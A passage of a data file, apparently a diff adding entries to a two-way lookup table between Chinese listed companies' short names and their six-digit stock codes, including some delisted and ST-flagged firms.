"万讯自控", +"莱尔科技": "688683", +"688683": "莱尔科技", +"健帆生物": "300529", +"300529": "健帆生物", +"恒大高新": "002591", +"002591": "恒大高新", +"盛讯达": "300518", +"300518": "盛讯达", +"一汽解放": "000800", +"000800": "一汽解放", +"电声股份": "300805", +"300805": "电声股份", +"近岸蛋白": "688137", +"688137": "近岸蛋白", +"安井食品": "603345", +"603345": "安井食品", +"稳健医疗": "300888", +"300888": "稳健医疗", +"莱茵体育": "000558", +"000558": "莱茵体育", +"深纺织Ａ": "000045", +"000045": "深纺织Ａ", +"华曙高科": "688433", +"688433": "华曙高科", +"海亮股份": "002203", +"002203": "海亮股份", +"回盛生物": "300871", +"300871": "回盛生物", +"新余国科": "300722", +"300722": "新余国科", +"中控技术": "688777", +"688777": "中控技术", +"百济神州-U": "688235", +"688235": "百济神州-U", +"长阳科技": "688299", +"688299": "长阳科技", +"通行宝": "301339", +"301339": "通行宝", +"通用股份": "601500", +"601500": "通用股份", +"凌霄泵业": "002884", +"002884": "凌霄泵业", +"华自科技": "300490", +"300490": "华自科技", +"中原证券": "601375", +"601375": "中原证券", +"中船科技": "600072", +"600072": "中船科技", +"思林杰": "688115", +"688115": "思林杰", +"金刚退": "300064", +"300064": "金刚退", +"久远银海": "002777", +"002777": "久远银海", +"金明精机": "300281", +"300281": "金明精机", +"新莱应材": "300260", +"300260": "新莱应材", +"惠发食品": "603536", +"603536": "惠发食品", +"上实医药": "600607", +"600607": "上实医药", +"乾景园林": "603778", +"603778": "乾景园林", +"富创精密": "688409", +"688409": "富创精密", +"华神科技": "000790", +"000790": "华神科技", +"大禹节水": "300021", +"300021": "大禹节水", +"中洲控股": "000042", +"000042": "中洲控股", +"凯尔达": "688255", +"688255": "凯尔达", +"顺鑫农业": "000860", +"000860": "顺鑫农业", +"锋尚文化": "300860", +"300860": "锋尚文化", +"信宇人": "688573", +"688573": "信宇人", +"百龙创园": "605016", +"605016": "百龙创园", +"航天电子": "600879", +"600879": "航天电子", +"凤凰航运": "000520", +"000520": "凤凰航运", +"科德教育": "300192", +"300192": "科德教育", +"多瑞医药": "301075", +"301075": "多瑞医药", +"退市保千": "600074", +"600074": "退市保千", +"万德股份": "836419", +"836419": "万德股份", +"中国宝安": "000009", +"000009": "中国宝安", +"永安行": "603776", +"603776": "永安行", +"荣昌生物": "688331", +"688331": "荣昌生物", +"博力威": "688345", +"688345": "博力威", +"三峡水利": "600116", +"600116": "三峡水利", +"平安银行": "000001", +"000001": "平安银行", +"中英科技": "300936", +"300936": "中英科技", +"鹏鹞环保": "300664", +"300664": "鹏鹞环保", +"百利天恒-U": "688506", +"688506": "百利天恒-U", +"金正大": "002470", +"002470": "金正大", +"恺英网络": "002517", +"002517": "恺英网络", +"武商集团": "000501", +"000501": "武商集团", +"万马科技": "300698", +"300698": "万马科技", +"通源环境": "688679", +"688679": "通源环境", +"汇宇制药-W": "688553", +"688553": "汇宇制药-W", +"华阳变速": "839946", +"839946": "华阳变速", +"锦州港": "600190", +"600190": "锦州港", +"东信和平": "002017", +"002017": "东信和平", +"松霖科技": "603992", +"603992": "松霖科技", +"电科芯片": "600877", +"600877": "电科芯片", +"日盈电子": "603286", +"603286": "日盈电子", +"吉林化工": "000618", +"000618": "吉林化工", +"秦安股份": "603758", +"603758": "秦安股份", +"天娱数科": "002354", +"002354": "天娱数科", +"钢研纳克": "300797", +"300797": "钢研纳克", +"福事特": "301446", +"301446": "福事特", +"拓邦股份": "002139", +"002139": "拓邦股份", +"老板电器": "002508", +"002508": "老板电器", +"亚信安全": "688225", +"688225": "亚信安全", +"达刚控股": "300103", +"300103": "达刚控股", +"郑煤机": "601717", +"601717": "郑煤机", +"木林森": "002745", +"002745": "木林森", +"贝因美": "002570", +"002570": "贝因美", +"未来电器": "301386", +"301386": "未来电器", +"超达装备": "301186", +"301186": "超达装备", +"三峡旅游": "002627", +"002627": "三峡旅游", +"卫宁健康": "300253", +"300253": "卫宁健康", +"信音电子": "301329", +"301329": "信音电子", +"星源卓镁": "301398", +"301398": "星源卓镁", +"博盈特焊": "301468", +"301468": "博盈特焊", +"炬华科技": "300360", +"300360": "炬华科技", +"凯普生物": "300639", +"300639": "凯普生物", +"聚和材料": "688503", +"688503": "聚和材料", +"卧龙地产": "600173", +"600173": "卧龙地产", +"史丹利": "002588", +"002588": "史丹利", +"驰宏锌锗": "600497", +"600497": "驰宏锌锗", +"鹿山新材": "603051", +"603051": "鹿山新材", +"晶升股份": "688478", +"688478": "晶升股份", +"格利尔": "831641", +"831641": "格利尔", +"新农股份": "002942", +"002942": "新农股份", +"华贸物流": "603128", +"603128": "华贸物流", +"上海雅仕": "603329", +"603329": "上海雅仕", +"*ST南华": "000660", +"000660": "*ST南华", +"良信股份": "002706", +"002706": "良信股份", +"好上好": "001298", +"001298": "好上好", +"华是科技": "301218", +"301218": "华是科技", +"鸿日达": "301285", +"301285": "鸿日达", +"物产环能": "603071", +"603071": "物产环能", +"顶点软件": "603383", +"603383": "顶点软件", +"元力股份": "300174", +"300174": "元力股份", +"联特科技": "301205", +"301205": "联特科技", +"博瑞传播": "600880", +"600880": "博瑞传播", +"振华重工": "600320", +"600320": "振华重工", +"百川能源": "600681", +"600681": "百川能源", +"登康口腔": "001328", +"001328": "登康口腔", +"济民医疗": "603222", +"603222": "济民医疗", +"润欣科技": "300493", +"300493": "润欣科技", +"瑞晨环保": "301273", +"301273": "瑞晨环保", +"青龙管业": "002457", +"002457": "青龙管业", +"东贝集团": "601956", +"601956": "东贝集团", +"宝丽迪": "300905", +"300905": "宝丽迪", +"亚威股份": "002559", +"002559": "亚威股份", +"宝武镁业": "002182", +"002182": "宝武镁业", +"通宇通讯": "002792", +"002792": "通宇通讯", +"景峰医药": "000908", +"000908": "景峰医药", +"马钢股份": "600808", +"600808": "马钢股份", +"电科院": "300215", +"300215": "电科院", +"ST步森": "002569", +"002569": "ST步森", +"扬子石化": "000866", +"000866": "扬子石化", +"南京新百": "600682", +"600682": "南京新百", +"长白山": "603099", +"603099": "长白山", +"华研精机": "301138", +"301138": "华研精机", +"吉冈精密": "836720", +"836720": "吉冈精密", +"天洋新材": "603330", +"603330": "天洋新材", +"联泰环保": "603797", +"603797": "联泰环保", +"浩欧博": "688656", +"688656": "浩欧博", +"龙大美食": "002726", +"002726": "龙大美食", +"科锐国际": "300662", +"300662": "科锐国际", +"会通股份": "688219", +"688219": "会通股份", +"新赣江": "873167", +"873167": "新赣江", +"百奥泰": "688177", +"688177": "百奥泰", +"仙坛股份": "002746", +"002746": "仙坛股份", +"孚日股份": "002083", +"002083": "孚日股份", +"*ST联谊": "600065", +"600065": "*ST联谊", +"皖维高新": "600063", +"600063": "皖维高新", +"航天动力": "600343", +"600343": "航天动力", +"浙商银行": "601916", +"601916": "浙商银行", +"昊志机电": "300503", +"300503": "昊志机电", +"华立科技": "301011", +"301011": "华立科技", +"昭衍新药": "603127", +"603127": "昭衍新药", +"沃顿科技": "000920", +"000920": "沃顿科技", +"果麦文化": "301052", +"301052": "果麦文化", +"罗欣药业": "002793", +"002793": "罗欣药业", +"金刚光伏": "300093", +"300093": "金刚光伏", +"格科微": "688728", +"688728": "格科微", +"水羊股份": "300740", +"300740": "水羊股份", +"中国交建": "601800", +"601800": "中国交建", +"邦德股份": "838171", +"838171": "邦德股份", +"中船汉光": "300847", +"300847": "中船汉光", +"新芝生物": "430685", +"430685": "新芝生物", +"深深房Ａ": "000029", +"000029": "深深房Ａ", +"诺禾致源": "688315", +"688315": "诺禾致源", +"纬德信息": "688171", +"688171": "纬德信息", +"爱普股份": "603020", +"603020": "爱普股份", +"日发精机": "002520", +"002520": "日发精机", +"ST中安": "600654", +"600654": "ST中安", +"炬芯科技": "688049", +"688049": "炬芯科技", +"国新能源": "600617", +"600617": "国新能源", +"一致魔芋": "839273", +"839273": "一致魔芋", +"苏宁环球": "000718", +"000718": "苏宁环球", +"华民股份": "300345", +"300345": "华民股份", +"播恩集团": "001366", +"001366": "播恩集团", +"科润智控": "834062", +"834062": "科润智控", +"皓元医药": "688131", +"688131": "皓元医药", +"盛科通信-U": "688702", +"688702": "盛科通信-U", +"拓山重工": "001226", +"001226": "拓山重工", +"大西洋": "600558", +"600558": "大西洋", +"欧福蛋业": "839371", +"839371": "欧福蛋业", +"华如科技": "301302", +"301302": "华如科技", +"*ST金山": "600396", +"600396": "*ST金山", +"银河退": "000806", +"000806": "银河退", +"华丰股份": "605100", +"605100": "华丰股份", +"我乐家居": "603326", +"603326": "我乐家居", +"中西药业": "600842", +"600842": "中西药业", +"齐翔腾达": "002408", +"002408": "齐翔腾达", +"双象股份": "002395", +"002395": "双象股份", +"华铁应急": "603300", +"603300": "华铁应急", +"西安银行": "600928", +"600928": "西安银行", +"丰华股份": "600615", +"600615": "丰华股份", +"安泰科技": "000969", +"000969": "安泰科技", +"派特尔": "836871", +"836871": "派特尔", +"*ST庞大": "601258", +"601258": "*ST庞大", +"格林美": "002340", +"002340": "格林美", +"硕贝德": "300322", +"300322": "硕贝德", +"长城信息": "000748", +"000748": "长城信息", +"立高食品": "300973", +"300973": "立高食品", +"杭州解百": "600814", +"600814": "杭州解百", +"西力科技": "688616", +"688616": "西力科技", +"重庆建工": "600939", +"600939": "重庆建工", +"大众交通": "600611", +"600611": "大众交通", +"北京科锐": "002350", +"002350": "北京科锐", +"华域汽车": "600741", +"600741": "华域汽车", +"延华智能": "002178", +"002178": "延华智能", +"九华旅游": "603199", +"603199": "九华旅游", +"世联行": "002285", +"002285": "世联行", +"永清环保": "300187", +"300187": "永清环保", +"雷电微力": "301050", +"301050": "雷电微力", +"奇正藏药": "002287", +"002287": "奇正藏药", +"沃特股份": "002886", +"002886": "沃特股份", +"京能电力": "600578", +"600578": "京能电力", +"ST金运": "300220", +"300220": "ST金运", +"竞业达": "003005", +"003005": "竞业达", +"新洋丰": "000902", +"000902": "新洋丰", +"北方股份": "600262", +"600262": "北方股份", +"晨鸣纸业": "000488", +"000488": "晨鸣纸业", +"恒兴新材": "603276", +"603276": "恒兴新材", +"王子新材": "002735", +"002735": "王子新材", +"利安隆": "300596", +"300596": "利安隆", +"*ST上航": "600591", +"600591": "*ST上航", +"必易微": "688045", +"688045": "必易微", +"德科立": "688205", +"688205": "德科立", +"新疆火炬": "603080", +"603080": "新疆火炬", +"欧陆通": "300870", +"300870": "欧陆通", +"哈药股份": "600664", +"600664": "哈药股份", +"东鹏控股": "003012", +"003012": "东鹏控股", +"华鼎股份": "601113", +"601113": "华鼎股份", +"吉林高速": "601518", +"601518": "吉林高速", +"金杨股份": "301210", +"301210": "金杨股份", +"退市中天": "600856", +"600856": "退市中天", +"*ST中川": "600852", +"600852": "*ST中川", +"智飞生物": "300122", +"300122": "智飞生物", +"锦浪科技": "300763", +"300763": "锦浪科技", +"华大九天": "301269", +"301269": "华大九天", +"中国石化": "600028", +"600028": "中国石化", +"激智科技": "300566", +"300566": "激智科技", +"中船特气": "688146", +"688146": "中船特气", +"芯原股份": "688521", +"688521": "芯原股份", +"格林精密": "300968", +"300968": "格林精密", +"海南海药": "000566", +"000566": "海南海药", +"华海药业": "600521", +"600521": "华海药业", +"同力日升": "605286", +"605286": "同力日升", +"贵州茅台": "600519", +"600519": "贵州茅台", +"陕西华达": "301517", +"301517": "陕西华达", +"新国都": "300130", +"300130": "新国都", +"云赛智联": "600602", +"600602": "云赛智联", +"川网传媒": "300987", +"300987": "川网传媒", +"信濠光电": "301051", +"301051": "信濠光电", +"雷神科技": "872190", +"872190": "雷神科技", +"殷图网联": "835508", +"835508": "殷图网联", +"大博医疗": "002901", +"002901": "大博医疗", +"八一钢铁": "600581", +"600581": "八一钢铁", +"南京聚隆": "300644", +"300644": "南京聚隆", +"瑞松科技": "688090", +"688090": "瑞松科技", +"永和股份": "605020", +"605020": "永和股份", +"广联航空": "300900", +"300900": "广联航空", +"星光股份": "002076", +"002076": "星光股份", +"金盘科技": "688676", +"688676": "金盘科技", +"新筑股份": "002480", +"002480": "新筑股份", +"申科股份": "002633", +"002633": "申科股份", +"爱克股份": "300889", +"300889": "爱克股份", +"津滨发展": "000897", +"000897": "津滨发展", +"中国中免": "601888", +"601888": "中国中免", +"芯海科技": "688595", +"688595": "芯海科技", +"一鸣食品": "605179", +"605179": "一鸣食品", +"中信证券": "600030", +"600030": "中信证券", +"汉马科技": "600375", +"600375": "汉马科技", +"信隆健康": "002105", +"002105": "信隆健康", +"众合科技": "000925", +"000925": "众合科技", +"中国建筑": "601668", +"601668": "中国建筑", +"邦彦技术": "688132", +"688132": "邦彦技术", +"华平股份": "300074", +"300074": "华平股份", +"朗坤环境": "301305", +"301305": "朗坤环境", +"凯格精机": "301338", +"301338": "凯格精机", +"攀渝钛业": "000515", +"000515": "攀渝钛业", +"金辰股份": "603396", +"603396": "金辰股份", +"威创股份": "002308", +"002308": "威创股份", +"光环新网": "300383", +"300383": "光环新网", +"特宝生物": "688278", +"688278": "特宝生物", +"龙建股份": "600853", +"600853": "龙建股份", +"新经典": "603096", +"603096": "新经典", +"中远海特": "600428", +"600428": "中远海特", +"三和管桩": "003037", +"003037": "三和管桩", +"ST高升": "000971", +"000971": "ST高升", +"海达股份": "300320", +"300320": "海达股份", +"恒盛能源": "605580", +"605580": "恒盛能源", +"天岳先进": "688234", +"688234": "天岳先进", +"创业环保": "600874", +"600874": "创业环保", +"河钢资源": "000923", +"000923": "河钢资源", +"鸣志电器": "603728", +"603728": "鸣志电器", +"广大特材": "688186", +"688186": "广大特材", +"美好医疗": "301363", +"301363": "美好医疗", +"集泰股份": "002909", +"002909": "集泰股份", +"奥来德": "688378", +"688378": "奥来德", +"盘江股份": "600395", +"600395": "盘江股份", +"盛屯矿业": "600711", +"600711": "盛屯矿业", +"纵横股份": "688070", +"688070": "纵横股份", +"中煤能源": "601898", +"601898": "中煤能源", +"澄天伟业": "300689", +"300689": "澄天伟业", +"海伦钢琴": "300329", +"300329": "海伦钢琴", +"再升科技": "603601", +"603601": "再升科技", +"华锦股份": "000059", +"000059": "华锦股份", +"水晶光电": "002273", +"002273": "水晶光电", +"PT南洋": "000556", +"000556": "PT南洋", +"濮阳惠成": "300481", +"300481": "濮阳惠成", +"中触媒": "688267", +"688267": "中触媒", +"吉祥航空": "603885", +"603885": "吉祥航空", +"韩建河山": "603616", +"603616": "韩建河山", +"新光退": "002147", +"002147": "新光退", +"渝农商行": "601077", +"601077": "渝农商行", +"新华保险": "601336", +"601336": "新华保险", +"中晶科技": "003026", +"003026": "中晶科技", +"天宸股份": "600620", +"600620": "天宸股份", +"恒信东方": "300081", +"300081": "恒信东方", +"印纪退": "002143", +"002143": "印纪退", +"国新健康": "000503", +"000503": "国新健康", +"上海易连": "600836", +"600836": "上海易连", +"兰州黄河": "000929", +"000929": "兰州黄河", +"江苏北人": "688218", +"688218": "江苏北人", +"海思科": "002653", +"002653": "海思科", +"广信材料": "300537", +"300537": "广信材料", +"华光源海": "872351", +"872351": "华光源海", +"华设集团": "603018", +"603018": "华设集团", +"汉缆股份": "002498", +"002498": "汉缆股份", +"天普股份": "605255", +"605255": "天普股份", +"电广传媒": "000917", +"000917": "电广传媒", +"日联科技": "688531", +"688531": "日联科技", +"中航机载": "600372", +"600372": "中航机载", +"湖南黄金": "002155", +"002155": "湖南黄金", +"上能电气": "300827", +"300827": "上能电气", +"蓝天燃气": "605368", +"605368": "蓝天燃气", +"中国中冶": "601618", +"601618": "中国中冶", +"奥士康": "002913", +"002913": "奥士康", +"中国太保": "601601", +"601601": "中国太保", +"莱克电气": "603355", +"603355": "莱克电气", +"菲达环保": "600526", +"600526": "菲达环保", +"鼎信通讯": "603421", +"603421": "鼎信通讯", +"荣安地产": "000517", +"000517": "荣安地产", +"金凯生科": "301509", +"301509": "金凯生科", +"文灿股份": "603348", +"603348": "文灿股份", +"优彩资源": "002998", +"002998": "优彩资源", +"东方电气": "600875", +"600875": "东方电气", +"玉禾田": "300815", +"300815": "玉禾田", +"ST泰禾": "000732", +"000732": "ST泰禾", +"中通客车": "000957", +"000957": "中通客车", +"浙江大农": "831855", +"831855": "浙江大农", +"恒太照明": "873339", +"873339": "恒太照明", +"共创草坪": "605099", +"605099": "共创草坪", +"中贝通信": "603220", +"603220": "中贝通信", +"鑫磊股份": "301317", +"301317": "鑫磊股份", +"中科曙光": "603019", +"603019": "中科曙光", +"东方材料": "603110", +"603110": "东方材料", +"粤海饲料": "001313", +"001313": "粤海饲料", +"通达创智": "001368", +"001368": "通达创智", +"大连电瓷": "002606", +"002606": "大连电瓷", +"麒盛科技": "603610", +"603610": "麒盛科技", +"古鳌科技": "300551", +"300551": "古鳌科技", +"华鑫股份": "600621", +"600621": "华鑫股份", +"源飞宠物": "001222", +"001222": "源飞宠物", +"丽尚国潮": "600738", +"600738": "丽尚国潮", +"永艺股份": "603600", +"603600": "永艺股份", +"白银有色": "601212", +"601212": "白银有色", +"圣泉集团": "605589", +"605589": "圣泉集团", +"国恒退": "000594", +"000594": "国恒退", +"维海德": "301318", +"301318": "维海德", +"映翰通": "688080", +"688080": "映翰通", +"国力股份": "688103", +"688103": "国力股份", +"大东方": "600327", +"600327": "大东方", +"欢乐家": "300997", +"300997": "欢乐家", +"中瓷电子": "003031", +"003031": "中瓷电子", +"正裕工业": "603089", +"603089": "正裕工业", +"高伟达": "300465", +"300465": "高伟达", +"维宏股份": "300508", +"300508": "维宏股份", +"百利电气": "600468", +"600468": "百利电气", +"朗特智能": "300916", +"300916": "朗特智能", +"水发燃气": "603318", +"603318": "水发燃气", +"*ST达曼": "600788", +"600788": "*ST达曼", +"东尼电子": "603595", +"603595": "东尼电子", +"南钢股份": "600282", +"600282": "南钢股份", +"骄成超声": "688392", +"688392": "骄成超声", +"金帝股份": "603270", +"603270": "金帝股份", +"春风动力": "603129", +"603129": "春风动力", +"华润三九": "000999", +"000999": "华润三九", +"振德医疗": "603301", +"603301": "振德医疗", +"铁建重工": "688425", +"688425": "铁建重工", +"金迪克": "688670", +"688670": "金迪克", +"海南机场": "600515", +"600515": "海南机场", +"吉贝尔": "688566", +"688566": "吉贝尔", +"华中数控": "300161", +"300161": "华中数控", +"东宝生物": "300239", +"300239": "东宝生物", +"绿景退": "000502", +"000502": "绿景退", +"世纪天鸿": "300654", +"300654": "世纪天鸿", +"利扬芯片": "688135", +"688135": "利扬芯片", +"福成股份": "600965", +"600965": "福成股份", +"安达维尔": "300719", +"300719": "安达维尔", +"中科创达": "300496", +"300496": "中科创达", +"睿昂基因": "688217", +"688217": "睿昂基因", +"*ST长兴": "000827", +"000827": "*ST长兴", +"江苏华辰": "603097", +"603097": "江苏华辰", +"多浦乐": "301528", +"301528": "多浦乐", +"卓锦股份": "688701", +"688701": "卓锦股份", +"捷昌驱动": "603583", +"603583": "捷昌驱动", +"迅安科技": "834950", +"834950": "迅安科技", +"电魂网络": "603258", +"603258": "电魂网络", +"天富能源": "600509", +"600509": "天富能源", +"亚太实业": "000691", +"000691": "亚太实业", +"重庆港": "600279", +"600279": "重庆港", +"中微半导": "688380", +"688380": "中微半导", +"达华智能": "002512", +"002512": "达华智能", +"中青宝": "300052", +"300052": "中青宝", +"汉威科技": "300007", +"300007": "汉威科技", +"杭州高新": "300478", +"300478": "杭州高新", +"万年青": "000789", +"000789": "万年青", +"安宁股份": "002978", +"002978": "安宁股份", +"贵州三力": "603439", +"603439": "贵州三力", +"振华科技": "000733", +"000733": "振华科技", +"中航光电": "002179", +"002179": "中航光电", +"开勒股份": "301070", +"301070": "开勒股份", +"蕾奥规划": "300989", +"300989": "蕾奥规划", +"志晟信息": "832171", +"832171": "志晟信息", +"ST南卫": "603880", +"603880": "ST南卫", +"辉丰股份": "002496", +"002496": "辉丰股份", +"泰达股份": "000652", +"000652": "泰达股份", +"小熊电器": "002959", +"002959": "小熊电器", +"国网信通": "600131", +"600131": "国网信通", +"国能日新": "301162", +"301162": "国能日新", +"海达尔": "836699", +"836699": "海达尔", +"百合股份": "603102", +"603102": "百合股份", +"安车检测": "300572", +"300572": "安车检测", +"凌志软件": "688588", +"688588": "凌志软件", +"华正新材": "603186", +"603186": "华正新材", +"万润科技": "002654", +"002654": "万润科技", +"亚星客车": "600213", +"600213": "亚星客车", +"金丹科技": "300829", +"300829": "金丹科技", +"中晟高科": "002778", +"002778": "中晟高科", +"山科智能": "300897", +"300897": "山科智能", +"信达证券": "601059", +"601059": "信达证券", +"英特集团": "000411", +"000411": "英特集团", +"天舟文化": "300148", +"300148": "天舟文化", +"众诚科技": "835207", +"835207": "众诚科技", +"泉阳泉": "600189", +"600189": "泉阳泉", +"开尔新材": "300234", +"300234": "开尔新材", +"圣晖集成": "603163", +"603163": "圣晖集成", +"得润电子": "002055", +"002055": "得润电子", +"惠云钛业": "300891", +"300891": "惠云钛业", +"S*ST国瓷": "600286", +"600286": "S*ST国瓷", +"财通证券": "601108", +"601108": "财通证券", +"翰博高新": "301321", +"301321": "翰博高新", +"广州酒家": "603043", +"603043": "广州酒家", +"九洲药业": "603456", +"603456": "九洲药业", +"天地数码": "300743", +"300743": "天地数码", +"可孚医疗": "301087", +"301087": "可孚医疗", +"时代出版": "600551", +"600551": "时代出版", +"常辅股份": "871396", +"871396": "常辅股份", +"固德威": "688390", +"688390": "固德威", +"*ST太安": "002433", +"002433": "*ST太安", +"建设机械": "600984", +"600984": "建设机械", +"胜宏科技": "300476", +"300476": "胜宏科技", +"爱婴室": "603214", +"603214": "爱婴室", +"光云科技": "688365", +"688365": "光云科技", +"美利云": "000815", +"000815": "美利云", +"奥迪威": "832491", +"832491": "奥迪威", +"嘉事堂": "002462", +"002462": "嘉事堂", +"本川智能": "300964", +"300964": "本川智能", +"莱绅通灵": "603900", +"603900": "莱绅通灵", +"征和工业": "003033", +"003033": "征和工业", +"科士达": "002518", +"002518": "科士达", +"友发集团": "601686", +"601686": "友发集团", +"金禾实业": "002597", +"002597": "金禾实业", +"辰欣药业": "603367", +"603367": "辰欣药业", +"扬农化工": "600486", +"600486": "扬农化工", +"弘元绿能": "603185", +"603185": "弘元绿能", +"中金环境": "300145", +"300145": "中金环境", +"交控科技": "688015", +"688015": "交控科技", +"长春高新": "000661", +"000661": "长春高新", +"瀚蓝环境": "600323", +"600323": "瀚蓝环境", +"联合光电": "300691", +"300691": "联合光电", +"中油工程": "600339", +"600339": "中油工程", +"永顺生物": "839729", +"839729": "永顺生物", +"石化机械": "000852", +"000852": "石化机械", +"鼎智科技": "873593", +"873593": "鼎智科技", +"和辉光电-U": "688538", +"688538": "和辉光电-U", +"国林科技": "300786", +"300786": "国林科技", +"川仪股份": "603100", +"603100": "川仪股份", +"天润乳业": "600419", +"600419": "天润乳业", +"盈康生命": "300143", +"300143": "盈康生命", +"山子股份": "000981", +"000981": "山子股份", +"五洋停车": "300420", +"300420": "五洋停车", +"雄帝科技": "300546", +"300546": "雄帝科技", +"振芯科技": "300101", +"300101": "振芯科技", +"嘉曼服饰": "301276", +"301276": "嘉曼服饰", +"金安国纪": "002636", +"002636": "金安国纪", +"淮北矿业": "600985", +"600985": "淮北矿业", +"合兴股份": "605005", +"605005": "合兴股份", +"信立泰": "002294", +"002294": "信立泰", +"华映科技": "000536", +"000536": "华映科技", +"佳电股份": "000922", +"000922": "佳电股份", +"长江投资": "600119", +"600119": "长江投资", +"日月明": "300906", +"300906": "日月明", +"中兰环保": "300854", +"300854": "中兰环保", +"高凌信息": "688175", +"688175": "高凌信息", +"恒源煤电": "600971", +"600971": "恒源煤电", +"工业富联": "601138", +"601138": "工业富联", +"奋达科技": "002681", +"002681": "奋达科技", +"数字认证": "300579", +"300579": "数字认证", +"凯美特气": "002549", +"002549": "凯美特气", +"中国海诚": "002116", +"002116": "中国海诚", +"精华制药": "002349", +"002349": "精华制药", +"恒工精密": "301261", +"301261": "恒工精密", +"圣诺生物": "688117", +"688117": "圣诺生物", +"安通控股": "600179", +"600179": "安通控股", +"中航机电": "002013", +"002013": "中航机电", +"名家汇": "300506", +"300506": "名家汇", +"宏景科技": "301396", +"301396": "宏景科技", +"国邦医药": "605507", +"605507": "国邦医药", +"赛腾股份": "603283", +"603283": "赛腾股份", +"广百股份": "002187", +"002187": "广百股份", +"创意信息": "300366", +"300366": "创意信息", +"环旭电子": "601231", +"601231": "环旭电子", +"飞沃科技": "301232", +"301232": "飞沃科技", +"中科美菱": "835892", +"835892": "中科美菱", +"龙利得": "300883", +"300883": "龙利得", +"翔楼新材": "301160", +"301160": "翔楼新材", +"奥瑞金": "002701", +"002701": "奥瑞金", +"本立科技": "301065", +"301065": "本立科技", +"恒勃股份": "301225", +"301225": "恒勃股份", +"山东章鼓": "002598", +"002598": "山东章鼓", +"欧派家居": "603833", +"603833": "欧派家居", +"启迪环境": "000826", +"000826": "启迪环境", +"华升股份": "600156", +"600156": "华升股份", +"铁科轨道": "688569", +"688569": "铁科轨道", +"创世纪": "300083", +"300083": "创世纪", +"联络互动": "002280", +"002280": "联络互动", +"峰岹科技": "688279", +"688279": "峰岹科技", +"湖南海利": "600731", +"600731": "湖南海利", +"千金药业": "600479", +"600479": "千金药业", +"华荣股份": "603855", +"603855": "华荣股份", +"安诺其": "300067", +"300067": "安诺其", +"安奈儿": "002875", +"002875": "安奈儿", +"诺": "002215", +"002215": "诺", +"交通银行": "601328", +"601328": "交通银行", +"英杰电气": "300820", +"300820": "英杰电气", +"东易日盛": "002713", +"002713": "东易日盛", +"宁波港": "601018", +"601018": "宁波港", +"奕瑞科技": "688301", +"688301": "奕瑞科技", +"万朗磁塑": "603150", +"603150": "万朗磁塑", +"闽东电力": "000993", +"000993": "闽东电力", +"五方光电": "002962", +"002962": "五方光电", +"金陵饭店": "601007", +"601007": "金陵饭店", +"众信旅游": "002707", +"002707": "众信旅游", +"理工能科": "002322", +"002322": "理工能科", +"申联生物": "688098", +"688098": "申联生物", +"獐子岛": "002069", +"002069": "獐子岛", +"中原传媒": "000719", +"000719": "中原传媒", +"天津港": "600717", +"600717": "天津港", +"万通液压": "830839", +"830839": "万通液压", +"合肥高科": "430718", +"430718": "合肥高科", +"鸿达兴业": "002002", +"002002": "鸿达兴业", +"德龙汇能": "000593", +"000593": "德龙汇能", +"洛阳钼业": "603993", +"603993": "洛阳钼业", +"杭电股份": "603618", +"603618": "杭电股份", +"利通科技": "832225", +"832225": "利通科技", +"航天软件": "688562", +"688562": "航天软件", +"亚香股份": "301220", +"301220": "亚香股份", +"美力科技": "300611", +"300611": "美力科技", +"常青股份": "603768", +"603768": "常青股份", +"百克生物": "688276", +"688276": "百克生物", +"赛微微电": "688325", +"688325": "赛微微电", +"微芯生物": "688321", +"688321": "微芯生物", +"千禾味业": "603027", +"603027": "千禾味业", +"北方国际": "000065", +"000065": "北方国际", +"东华测试": "300354", +"300354": "东华测试", +"盛天网络": "300494", +"300494": "盛天网络", +"退市大控": "600747", +"600747": "退市大控", +"深圳华强": "000062", +"000062": "深圳华强", +"吉鑫科技": "601218", +"601218": "吉鑫科技", +"苏美达": "600710", +"600710": "苏美达", +"国际医学": "000516", +"000516": "国际医学", +"欧普泰": "836414", +"836414": "欧普泰", +"康力源": "301287", +"301287": "康力源", +"福石控股": "300071", +"300071": "福石控股", +"博创科技": "300548", +"300548": "博创科技", +"莱茵生物": "002166", +"002166": "莱茵生物", +"天元股份": "003003", +"003003": "天元股份", +"龙宇股份": "603003", +"603003": "龙宇股份", +"科美诊断": "688468", +"688468": "科美诊断", +"ST红太阳": "000525", +"000525": "ST红太阳", +"盛剑环境": "603324", +"603324": "盛剑环境", +"海象新材": "003011", +"003011": "海象新材", +"棕榈股份": "002431", +"002431": "棕榈股份", +"弘业期货": "001236", +"001236": "弘业期货", +"昇兴股份": "002752", +"002752": "昇兴股份", +"金富科技": "003018", +"003018": "金富科技", +"亚玛顿": "002623", +"002623": "亚玛顿", +"抚顺特钢": "600399", +"600399": "抚顺特钢", +"惠威科技": "002888", +"002888": "惠威科技", +"绝味食品": "603517", +"603517": "绝味食品", +"建科院": "300675", +"300675": "建科院", +"博彦科技": "002649", +"002649": "博彦科技", +"东兴证券": "601198", +"601198": "东兴证券", +"华新水泥": "600801", +"600801": "华新水泥", +"广州发展": "600098", +"600098": "广州发展", +"ST建元": "600816", +"600816": "ST建元", +"光庭信息": "301221", +"301221": "光庭信息", +"中恒集团": "600252", +"600252": "中恒集团", +"上海临港": "600848", +"600848": "上海临港", +"锦泓集团": "603518", +"603518": "锦泓集团", +"苏文电能": "300982", +"300982": "苏文电能", +"宝馨科技": "002514", +"002514": "宝馨科技", +"高澜股份": "300499", +"300499": "高澜股份", +"拾比佰": "831768", +"831768": "拾比佰", +"阿科力": "603722", +"603722": "阿科力", +"金种子酒": "600199", +"600199": "金种子酒", +"东风汽车": "600006", +"600006": "东风汽车", +"博汇科技": "688004", +"688004": "博汇科技", +"云路股份": "688190", +"688190": "云路股份", +"泰和新材": "002254", +"002254": "泰和新材", +"欣贺股份": "003016", +"003016": "欣贺股份", +"无锡银行": "600908", +"600908": "无锡银行", +"神雾退": "300156", +"300156": "神雾退", +"王府井": "600859", +"600859": "王府井", +"军信股份": "301109", +"301109": "军信股份", +"三木集团": "000632", +"000632": "三木集团", +"浙江黎明": "603048", +"603048": "浙江黎明", +"惠而浦": "600983", +"600983": "惠而浦", +"*ST海投": "000616", +"000616": "*ST海投", +"中泰化学": "002092", +"002092": "中泰化学", +"鹏都农牧": "002505", +"002505": "鹏都农牧", +"森鹰窗业": "301227", +"301227": "森鹰窗业", +"锐捷网络": "301165", +"301165": "锐捷网络", +"鲁西化工": "000830", +"000830": "鲁西化工", +"科达利": "002850", +"002850": "科达利", +"湘邮科技": "600476", +"600476": "湘邮科技", +"金洲管道": "002443", +"002443": "金洲管道", +"国风新材": "000859", +"000859": "国风新材", +"锐新科技": "300828", +"300828": 